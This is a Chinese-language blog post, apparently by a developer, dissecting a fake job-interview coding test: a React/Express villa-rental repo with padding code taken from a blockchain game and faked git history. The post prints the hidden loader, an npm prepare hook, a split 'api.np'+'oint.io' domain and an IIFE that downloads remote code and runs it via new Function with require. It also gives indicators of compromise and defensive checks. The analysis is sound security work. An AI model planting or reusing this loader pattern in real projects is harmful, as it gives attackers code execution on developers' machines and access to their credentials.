一周。下一个出现只用了这么久
如果你读过我的上一篇文章,你就知道我差点被一个伪装成编程测试的假招聘骗局得手,那个项目把恶意软件藏在了 Binance Smart Chain 上。那次是一个扑克平台,payload 托管在区块链上
这次是一个"Copia 租赁平台"——一个用 React、Express 和 MongoDB 构建的别墅预订应用。不同的皮肤,相同的套路
而且他们差点让它更难被发现
招聘话术
和上次一样的套路。招聘人员主动联系你,职位听起来不错,这里有个仓库作为带回家的编程测试
项目看起来像是标准的 MERN 技术栈租赁应用。别墅、预订、用户认证、聊天。整洁的 React 前端配合 react-router,Express 后端使用 JWT 认证,Socket.io 实现实时消息
Copia-rental_platform/├── src/│ ├── components/ # Home, Villas, Contact, Navbar, Footer│ ├── subComponents/ # HeroSection, Regions, TopVillas│ ├── server/│ │ ├── controllers/ # auth, product, seller, chat│ │ ├── middleware/ # JWT socket auth│ │ ├── models/ # User, Product, Chat│ │ ├── routers/ # Express routes│ │ └── utils/ # ...这里开始变得奇怪│ └── App.jsx├── package.json└── vite.config.js
乍一看没什么问题。真实的组件,真实的认证流程,真实的 CRUD 操作
危险信号 #1:utils 目录
服务器有一个 utils/ 目录,里面的文件和租赁别墅完全没有关系:
src/server/utils/├── actions/│ ├── rarity_core_attributes.js│ ├── rarity_extended_boars.js│ ├── rarity_extended_crafting_helper.js│ ├── rarity_extended_daycare.js│ ├── rarity_extended_equipment.js│ ├── rarity_extended_farming.js│ ├── rarity_extended_name.js│ ├── rarity_openmic_perform.js│ ├── rarity_theForest.js│ ├── vaults.js│ └── utils.js├── index.js└── performBatchedUpdates.js
这些全是从 Rarity Extended 偷来的,那是一个区块链 RPG 游戏。文件里还保留着原始的作者信息 @Author: Rarity Extended 和 @Twitter: @RXtended
一个租赁平台不需要 apeInVault()、claimGold()、recruitAdventurer() 或 lootDungeonTheCellar()。这些代码存在的唯一目的就是填充仓库,让它看起来像一个更大、更正规的项目
危险信号 #2:Git 历史
提交历史揭示了真相:
61e64fb updated backend functions 45b66b14 updated backend functions 3776cc7f deleted backend api connection...01f085f 0xdj28f8q2hfebc7d74c 0xkaf28fjdrafhc2ff83a 0xioadq328fakfw1a6db3e 0xi2fidkkfkw8e1734a 0xdafk3afdufh2...7b2d903 Initial commit
超过 40 个提交使用了看起来像十六进制的假消息,设计成区块链交易哈希的样子。四个不同的作者身份——smitrajput、rcstanciu、fadeev、passabilities——都在提交,制造出一个真实团队随着时间推移构建这个项目的假象
没有人会把提交命名为 0xmcr214a31be。这是一场表演
危险信号 #3:prepare 脚本
和上次一模一样:
{"scripts": {"start": "npm run server | vite","prepare": "node ./src/server/app.js | vite","server": "node ./src/server/app.js"}}
prepare 生命周期钩子在 npm install 时自动运行。它启动后端服务器。服务器加载控制器。而其中一个控制器里藏着一个惊喜
恶意载荷
这就是恶意软件,藏在 src/server/controllers/product.js 中完全正常的 CRUD 函数之间:
const subDomain1 = "api.np";const subDomain2 = "oint.io";const domain2 = subDomain1 + subDomain2;const uuid = "c237b2d383b98719acdc";
域名被拆分成两个字符串。"api.np" + "oint.io" 拼接成 api.npoint.io——一个 JSON 托管服务。如果你在代码库中 grep 可疑的 URL,你什么都找不到。很聪明
然后埋在 getBidHistory 和 updateProduct 之间:
(async () => {const res = await axios.get(`https://${domain2}/${uuid}`);new Function("require", res.data.model)(require);})();
一个自执行的异步函数,从远程服务器下载代码并通过 new Function() 执行,传入 require 以获得完整的 Node.js 访问权限
和扑克骗局相同的技术。相同的 new Function("require", payload)(require) 模式。不同的传递机制——这次是 JSON API 而不是区块链智能合约
对比两次攻击
扑克骗局(第一周) 伪装成 Web3 扑克平台。它的 payload 托管在 Binance Smart Chain 智能合约上,通过 configureCollection() 调用触发。混淆手段依赖于正常命名的函数名,填充代码是扑克应用中的国际象棋事件
租赁平台(第二周) 伪装成别墅预订网站。它的 payload 托管在 npoint.io,一个 JSON API 服务上。触发器是隐藏在正常导出之间的自执行 IIFE。混淆手段使用拆分的域名字符串,填充代码是塞进租赁应用的区块链 RPG 游戏
保持不变的是:prepare 钩子在安装时自动执行。两者都使用 new Function("require", payload)(require) 来运行下载的代码并获得完整的系统访问权限
核心技术完全相同。下载一个字符串,作为代码执行,传入 require 赋予完整的系统访问权限
npoint.io 的方式实际上没有区块链版本那么复杂。JSON 端点可以被关闭。智能合约是不可变的。但它设置更快,更新也更容易
这次有什么不同
字符串拆分是新手法。他们不再在代码中放完整的 URL,而是把域名分散到多个变量中。这能绕过对已知恶意域名的简单 grep 搜索
放置位置也更加隐蔽。在扑克骗局中,恶意软件触发器是服务器启动末尾的一个独立函数调用。这次是一个匿名 IIFE,夹在控制器文件中两个正常的导出函数之间。你必须逐行阅读才能发现它
填充代码也更聪明了。上次他们在扑克游戏中放了国际象棋事件。这次偷来的 Rarity Extended 代码至少和加密货币/Web3 有关,在 Node.js 项目的上下文中稍微更说得通一些
攻击模式
这就是 Contagious Interview 攻击活动。归因于朝鲜的 Lazarus Group。他们通过虚假的工作机会瞄准开发者——尤其是加密货币领域的开发者
公式如下:
- 假招聘人员带着好机会主动联系你
- 专业的面试流程建立信任
- 编程测试作业以 GitHub 仓库的形式交付
npm install触发恶意载荷- 你的机器被入侵
一周内两次尝试告诉我他们正在扩大规模。要么我现在上了名单,要么他们撒的网越来越大
应对措施
如果你收到招聘人员的编程测试:
- 在做任何事之前先读
package.json的脚本——prepare、preinstall、postinstall是自动运行的钩子 - 在整个代码库中搜索
new Function、eval、Function( - 查找拼接 URL 或域名的字符串连接
- 检查 utils 或 lib 目录是否真的与项目目的相符
- 查看 git 历史——伪造的十六进制提交和小项目中的多个作者都是危险信号
- 如果要运行的话,在 Docker 容器或虚拟机中运行
如果你已经在可疑的仓库中运行了 npm install:
- 假设已被入侵。轮换所有凭证,检查未知进程,扫描浏览器扩展
- 将加密货币从该机器可访问的所有钱包中转移出去
- 检查
~/.ssh/、~/.aws/、浏览器配置文件是否有数据泄露的迹象
入侵指标
供威胁研究人员参考:
- 载荷 URL:
https://api.npoint.io/c237b2d383b98719acdc - 技术手法: 字符串拆分拼接域名(
"api.np" + "oint.io") - 执行方式:
new Function("require", res.data.model)(require) - Git 作者:
smitrajput <smitrajputtd@gmail.com>
最后的想法
一周内两次。相同的技术,不同的包装
第一次差点得手,因为我没有预料到。这次没有,因为我现在会在动手之前审计每一份编程测试。这种偏执救了我
如果你现在正在找开发者工作,尤其是在加密货币或 Web3 领域——你的代码审查技能需要从测试本身开始。在你写任何一行代码之前,先读他们的代码
招聘人员可能是假的。公司可能是假的。但恶意软件是真的
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.



